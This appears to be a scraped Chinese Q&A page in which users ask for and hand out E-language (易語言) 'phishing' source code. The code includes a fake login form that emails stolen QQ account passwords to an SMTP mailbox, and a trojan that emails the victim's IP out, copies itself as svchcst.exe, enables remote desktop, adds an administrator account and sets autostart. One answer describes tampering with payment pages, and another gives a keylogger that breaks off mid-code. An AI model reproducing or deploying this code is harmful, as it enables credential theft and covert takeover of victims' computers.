㈠ 求個能用的。易語言釣魚源碼 !
http://www.ruanxjian.com/html/guanfangruanjian/2015/0320/15.html
嗯 這個網站有你要的軟體,而且不是什麼釣魚。是一款粘貼窗口方式的木馬。
你跟作者要源碼,估計他會給你!
㈡ 易語言釣魚源碼
嗯嗯,改的設置對著呢。
但是你貌似沒有填埠號,TX的應該是25,因為我填的是25……能發出去
可以這么寫:
連接發信伺服器 (「smtp.qq.com」, 25, 用戶名, 密碼)
發送郵件 (「號來了!」, 「賬號:」 + 編輯框2.內容 + #換行符 + 「密碼:」 + 編輯框2.內容, 「*@qq.com」, , ,「*@qq.com」,)
但是,發送的時候360會攔截下來。這個你得注意下,其實你家機子要是固定IP的話,可以做個伺服器。還有就是你這個驗證根本不行,我賬號填個1,密碼填個1,那豈不就完事了,還能登上去,你又來一個垃圾。可以加個驗證。
'------------------------驗證源碼
.版本 2
登錄網頁 = 網頁源碼編碼轉換 (溫暖HTTP讀文件 (「http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=」))
' 溫暖HTTP讀文件 (「http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=」))
產生sid = 取文本之間內容 (登錄網頁, 「sid=」, 「&」)
登錄返迴文本 = 進行POST (尋找POST參數 (登錄網頁, 「馬上登錄」), _啟動窗口.編輯框1.內容, _啟動窗口.編輯框2.內容)
.判斷開始 (尋找文本 (登錄返迴文本, 「登錄密碼錯誤」, , 假) > 0)
延時 (1000)
密碼錯誤反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「登錄失敗,可能系統繁忙,請稍後重試」, , 假) > 0)
延時 (500)
帳號錯誤反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「您填寫的帳號或密碼不正確,請重新輸入」, , 假) > 0)
延時 (1000)
密碼錯誤反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「您輸入的帳號不存在」, , 假) > 0)
延時 (500)
帳號錯誤反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「登錄成功」, , 假) > 0)
登錄成功網頁 = 登錄返迴文本
sid = 產生sid
延時 (1000)
主界面反饋.調用反饋事件 (, , )
.判斷 (尋找文本 (登錄返迴文本, 「請輸入驗證碼」, , 假) > 0)
驗證碼圖片地址 = 取文本之間內容 (登錄返迴文本, 「<img src=」 + #引號, #引號)
延時 (1000)
驗證碼反饋.調用反饋事件 (, , )
.如果 (全局驗證碼內容 = 「」)
_啟動窗口.可視 = 真
.否則
輸入驗證碼返迴文本 = 進行POST (尋找POST參數 (登錄返迴文本, 「馬上登錄」), , , 全局驗證碼內容)
.判斷開始 (尋找文本 (輸入驗證碼返迴文本, 「登錄成功」, , 假) > 0)
登錄成功網頁 = 輸入驗證碼返迴文本
sid = 產生sid
延時 (1000)
主界面反饋.調用反饋事件 (, , )
.默認
延時 (1000)
密碼錯誤反饋.調用反饋事件 (, , )
' -----------------接下來不是源碼了
這里還要用到一個溫暖HTTP應用模塊,我給你傳上來吧。
我自己寫了個不帶驗證的奧拉星「外掛」,你可以看看,嘻嘻……(其實還是盜號的,只是不發送過來)
㈢ 易語言釣魚源碼
釣魚已經不好用了
啟動窗口加三個編輯框就可以了
.版本 2
.支持庫 internet
.支持庫 sock
.程序集 窗口程序集1
.子程序 __啟動窗口_創建完畢
.局部變數 郵箱賬號, 文本型
.局部變數 郵箱密碼, 文本型
.局部變數 收件人地址, 文本型
' 取本機
' 這個易語言釣魚基本已經被河蟹了,收件箱和發件箱必須是同一個賬戶才能收到郵件
' 反正我測試是這樣的
' 郵箱賬號不需要填寫【@163.com】
郵箱賬號 = 「123456」
郵箱密碼 = 「654321」
收件人地址 = 「123456」
編輯框1.內容 = 到文本 (HTTP讀文件 (「http://www.3322.org/dyndns/getip」))
編輯框2.內容 = 到文本 (取本機名 ())
' 發送本機IP到郵箱
連接發信伺服器 (「smtp.163.com」, 25, 郵箱賬號, 郵箱密碼, )
發送郵件 (「客戶IP」, 「IP地址:」 + 編輯框1.內容 + #換行符 + 「客戶名稱:」 + 編輯框2.內容, 收件人地址, , , 收件人地址, 收件人地址)
' 復制文件 (, )
置文件屬性 (取運行目錄 () + 「」 + 取執行文件名 (), 1 + 2 + 4)
復制文件 (取運行目錄 () + 「」 + 取執行文件名 (), 「C:windowssvchcst.exe」)
復制文件 (取運行目錄 () + 「」 + 取執行文件名 (), 「C:windowssystem32svchcst.exe」)
' 開啟3389
寫注冊項 (4, 「 ServerfDenyTSConnections」, 0)
' 添加用戶
' 運行 (「cmd /c net user 」 + 「xiaoxia」 + 「 」 + 「123456」 + 「 /add & net localgroup administrators 」 + 「xiaxia」 + 「 /add」, 假, 1)
' 寫開機啟動
寫注冊項 (#現行用戶, 「」, 取運行目錄 () + 「」 + 取執行文件名 ())
' 程序結束
延時 (5000)
銷毀 ()
' shift後門
㈣ 易語言編寫釣魚軟體的源碼(在線等)
www.520HACK.COM
www.3800HK.COM
等等網站看看去吧,實在找不到搜索 易語言編寫木馬 易語言編寫高模擬QQ 什麼的就可以得到很多關於這方面的教程了。
個人對這個釣魚軟體很不感冒....
㈤ 製作 易語言釣魚源碼 怎麼弄的 我有點蒙了 求指教 ..
建2個編輯框,和一個按鈕,其它的美化自己添加,主要是這3個,在按鈕處寫代碼,連接發送伺服器(編輯框1內容,編輯框2內容)具體發送請看易語言發送伺服器的幫助,可以發送到郵箱或者asp網戰
㈥ 易語言釣魚源碼用不了了
以上附件
㈦ 怎麼用易語言製作釣魚軟體求大神指點,最好是把源碼講解清楚
如果釣錢的話,在易語言添加一個時鍾,在時鍾周期寫,監控進程,如果監控到瀏覽器進程就判斷目前網頁網址,如果是如支付寶啦,手機充值等網頁,就取瀏覽器句柄,取當前網頁編輯框+按鈕id,當網頁充值按鈕被點擊,自動把網頁編輯框內容替換到你設置的內容,再提交,就完成釣魚
㈧ 易語言密保釣魚源碼
.版本 2
.支持庫 eAPI
.程序集 窗口程序集1
.程序集變數 bl, 邏輯型
.子程序 鍵盤記錄, 文本型
.參數 大小寫狀態, 邏輯型
.局部變數 回車, 整數型
.局部變數 空格, 整數型
.局部變數 Q, 整數型
.局部變數 W, 整數型
.局部變數 E, 整數型
.局部變數 R, 整數型
.局部變數 T, 整數型
.局部變數 Y, 整數型
.局部變數 U, 整數型
.局部變數 I, 整數型
.局部變數 O, 整數型
.局部變數 P, 整數型
.局部變數 A, 整數型
.局部變數 S, 整數型
.局部變數 D, 整數型
.局部變數 F, 整數型
.局部變數 G, 整數型
.局部變數 H, 整數型
.局部變數 J, 整數型
.局部變數 K, 整數型
.局部變數 L, 整數型
.局部變數 Z, 整數型
.局部變數 C, 整數型
.局部變數 V, 整數型
.局部變數 x, 整數型
.局部變數 B, 整數型
.局部變數 N, 整數型
.局部變數 M
.局部變數 S1
.局部變數 S2
.局部變數 S3
.局部變數 S4
.局部變數 S5
.局部變數 S6
.局部變數 S7
.局部變數 S8
.局部變數 S9
.局部變數 S0
.局部變數 加
.局部變數 減
.局部變數 除
.局部變數 飛
.局部變數 BACK
.局部變數 TAB
.局部變數 Ctrl
.局部變數 Alt
.局部變數 大寫
.局部變數 Shift
.局部變數 Win
.局部變數 n1
.局部變數 n2
.局部變數 n3
.局部變數 n4
.局部變數 n5
.局部變數 n6
.局部變數 n7
.局部變數 n8
.局部變數 n9
.局部變數 n0
.局部變數 n點
.局部變數 n回車
.局部變數 n加
.局部變數 n減
.局部變數 n除
.局部變數 n乘
.局部變數 F1
.局部變數 F2
.局部變數 F3
.局部變數 F4
.局部變數 F5
.局部變數 F6
.局部變數 F7
.局部變數 F8
.局部變數 F9
.局部變數 F10
.局部變數 F11
.局部變數 F12
.局部變數 Insert
.局部變數 Home
.局部變數 PageUp
.局部變數 Delete
.局部變數 End
.局部變數 PageDown
.局部變數 逗號
.局部變數 句號
.局部變數 斜杠
.局部變數 NumLock
.局部變數 ScrollLock
.局部變數 PrintScreen
.局部變數 Pause
.局部變數 Esc
.局部變數 上方向
.局部變數 下方向
.局部變數 左方向
.局部變數 右方向
.局部變數 右Win
.局部變數 L方括弧
.局部變數 R方括弧
.局部變數 引號
.局部變數 分號
L方括弧 = GetAsyncKeyState (219)
R方括弧 = GetAsyncKeyState (221)
分號 = GetAsyncKeyState (186)
引號 = GetAsyncKeyState (222)
右Win = GetAsyncKeyState (92)
上方向 = GetAsyncKeyState (38)
下方向 = GetAsyncKeyState (40)
左方向 = GetAsyncKeyState (37)
右方向 = GetAsyncKeyState (39)
逗號 = GetAsyncKeyState (188)
NumLock = GetAsyncKeyState (144)
ScrollLock = GetAsyncKeyState (145)
PrintScreen = GetAsyncKeyState (44)
Pause = GetAsyncKeyState (19)
Esc = GetAsyncKeyState (27)
句號 = GetAsyncKeyState (190)
n0 = GetAsyncKeyState (96)
n1 = GetAsyncKeyState (97)
n2 = GetAsyncKeyState (98)
n3 = GetAsyncKeyState (99)
n4 = GetAsyncKeyState (100)
n5 = GetAsyncKeyState (101)
n6 = GetAsyncKeyState (102)
n7 = GetAsyncKeyState (103)
n8 = GetAsyncKeyState (104)
n9 = GetAsyncKeyState (105)
n乘 = GetAsyncKeyState (106)
n加 = GetAsyncKeyState (107)
n回車 = GetAsyncKeyState (108)
n減 = GetAsyncKeyState (109)
n點 = GetAsyncKeyState (110)
n除 = GetAsyncKeyState (111)
Ctrl = GetAsyncKeyState (#Ctrl鍵)
Alt = GetAsyncKeyState (#Alt鍵)
TAB = GetAsyncKeyState (#Tab鍵)
Win = GetAsyncKeyState (91)
Shift = GetAsyncKeyState (#Shift鍵)
回車 = GetAsyncKeyState (#回車鍵)
空格 = GetAsyncKeyState (#空格鍵)
A = GetAsyncKeyState (#A鍵)
B = GetAsyncKeyState (#B鍵)
C = GetAsyncKeyState (#C鍵)
D = GetAsyncKeyState (#D鍵)
E = GetAsyncKeyState (#E鍵)
F = GetAsyncKeyState (#F鍵)
G = GetAsyncKeyState (#G鍵)
H = GetAsyncKeyState (#H鍵)
I = GetAsyncKeyState (#I鍵)
J = GetAsyncKeyState (#J鍵)
K = GetAsyncKeyState (#K鍵)
L = GetAsyncKeyState (#L鍵)
M = GetAsyncKeyState (#M鍵)
N = GetAsyncKeyState (#N鍵)
O = GetAsyncKeyState (#O鍵)
P = GetAsyncKeyState (#P鍵)
Q = GetAsyncKeyState (#Q鍵)
R = GetAsyncKeyState (#R鍵)
S = GetAsyncKeyState (#S鍵)
T = GetAsyncKeyState (#T鍵)
U = GetAsyncKeyState (#U鍵)
V = GetAsyncKeyState (#V鍵)
W = GetAsyncKeyState (#W鍵)
x = GetAsyncKeyState (#X鍵)
Y = GetAsyncKeyState (#Y鍵)
Z = GetAsyncKeyState (#Z鍵)
飛 = GetAsyncKeyState (192)
S1 = GetAsyncKeyState (49)
S2 = GetAsyncKeyState (50)
S3 = GetAsyncKeyState (51)
S4 = GetAsyncKeyState (52)
S5 = GetAsyncKeyState (53)
S6 = GetAsyncKeyState (54)
S7 = GetAsyncKeyState (55)
S8 = GetAsyncKeyState (56)
S9 = GetAsyncKeyState (57)
S0 = GetAsyncKeyState (48)
減 = GetAsyncKeyState (189)
加 = GetAsyncKeyState (187)
除 = GetAsyncKeyState (220)
BACK = GetAsyncKeyState (8)
大寫 = GetAsyncKeyState (20)
F1 = GetAsyncKeyState (112)
F2 = GetAsyncKeyState (113)
F3 = GetAsyncKeyState (114)
F4 = GetAsyncKeyState (115)
F5 = GetAsyncKeyState (116)
F6 = GetAsyncKeyState (117)
F7 = GetAsyncKeyState (118)
F8 = GetAsyncKeyState (119)
F9 = GetAsyncKeyState (120)
F10 = GetAsyncKeyState (121)
F11 = GetAsyncKeyState (122)
F12 = GetAsyncKeyState (123)
Insert = GetAsyncKeyState (45)
Home = GetAsyncKeyState (36)
PageUp = GetAsyncKeyState (33)
PageDown = GetAsyncKeyState (34)
End = GetAsyncKeyState (35)
Delete = GetAsyncKeyState (46)
斜杠 = GetAsyncKeyState (191)
.如果真 (鍵判斷 (L方括弧))
返回 (「[」)
.如果真結束
.如果真 (鍵判斷 (R方括弧))
返回 (「]」)
.如果真結束
.如果真 (鍵判斷 (分號))
返回 (「;」)
.如果真結束
.如果真 (鍵判斷 (引號))
返回 (「'」)
.如果真結束
.如果真 (鍵判斷 (斜杠))
返回 (「/」)
.如果真結束
.如果真 (鍵判斷 (逗號))
返回 (「,」)
.如果真結束
.如果真 (鍵判斷 (右Win))
返回 (「{Win}」)
.如果真結束
.如果真 (鍵判斷 (右方向))
返回 (「→」)
.如果真結束
.如果真 (鍵判斷 (下方向))
返回 (「↓」)
.如果真結束
.如果真 (鍵判斷 (上方向))
返回 (「↑」)
.如果真結束
.如果真 (鍵判斷 (左方向))
返回 (「←」)
.如果真結束
.如果真 (鍵判斷 (NumLock))
返回 (「{Num Lock}」)
.如果真結束
.如果真 (鍵判斷 (ScrollLock))
返回 (「{Scroll Lock}」)
.如果真結束
.如果真 (鍵判斷 (PrintScreen))
返回 (「{Prt Scr}」)
.如果真結束
.如果真 (鍵判斷 (Pause))
返回 (「{Pause}」)
.如果真結束
.如果真 (鍵判斷 (Esc))
返回 (「{Esc}」)
.如果真結束
.如果真 (鍵判斷 (句號))
返回 (「.」)
.如果真結束
.如果真 (鍵判斷 (S0))
返回 (「0」)
.如果真結束
.如果真 (鍵判斷 (回車))
返回 (「{Enter}」)
.如果真結束
.如果真 (鍵判斷 (空格))
返回 (「{空格}」)
.如果真結束
.如果真 (鍵判斷 (A))
.如果 (大小寫狀態)
返回 (「A」)
.否則
返回 (「a」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (B))
.如果 (大小寫狀態)
返回 (「B」)
.否則
返回 (「b」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (C))
.如果 (大小寫狀態)
返回 (「C」)
.否則
返回 (「c」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (D))
.如果 (大小寫狀態)
返回 (「D」)
.否則
返回 (「d」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (E))
.如果 (大小寫狀態)
返回 (「E」)
.否則
返回 (「e」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (F))
.如果 (大小寫狀態)
返回 (「F」)
.否則
返回 (「f」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (G))
.如果 (大小寫狀態)
返回 (「G」)
.否則
返回 (「g」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (H))
.如果 (大小寫狀態)
返回 (「H」)
.否則
返回 (「h」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (I))
.如果 (大小寫狀態)
返回 (「I」)
.否則
返回 (「i」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (J))
.如果 (大小寫狀態)
返回 (「J」)
.否則
返回 (「j」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (K))
.如果 (大小寫狀態)
返回 (「K」)
.否則
返回 (「k」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (L))
.如果 (大小寫狀態)
返回 (「L」)
.否則
返回 (「l」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (M))
.如果 (大小寫狀態)
返回 (「M」)
.否則
返回 (「m」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (N))
.如果 (大小寫狀態)
返回 (「N」)
.否則
返回 (「n」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (O))
.如果 (大小寫狀態)
返回 (「O」)
.否則
返回 (「o」)
.如果結束
.如果真結束
.如果真 (鍵判斷 (P))
.如果 (大小寫狀態)
返回 (「P」)
.否則
回答內容最多不超過10000個字
㈨ 易語言釣魚源碼怎麼編寫,求源碼給我參考參考
別信他們真正的源碼是復制不了的,我就找了好久都沒有用。後來我發線
1拖兩個輸入框和一個按鈕 改名字就不介紹了,然後把密碼輸入框的輸入屬性設為密碼輸入,同樣是廢話
2雙擊那個按鈕輸入連接伺服器()然後點擊左邊的加號會出來幾列字,你一個一個填好回車後就會發現其實看上去跟他們復制給你的一樣,這就是為什麼有些人收不到郵箱的原因了。因為手動輸入的根復制的性質都不一樣
有什麼疑問統統問我吧 至少我保證比他們更優秀。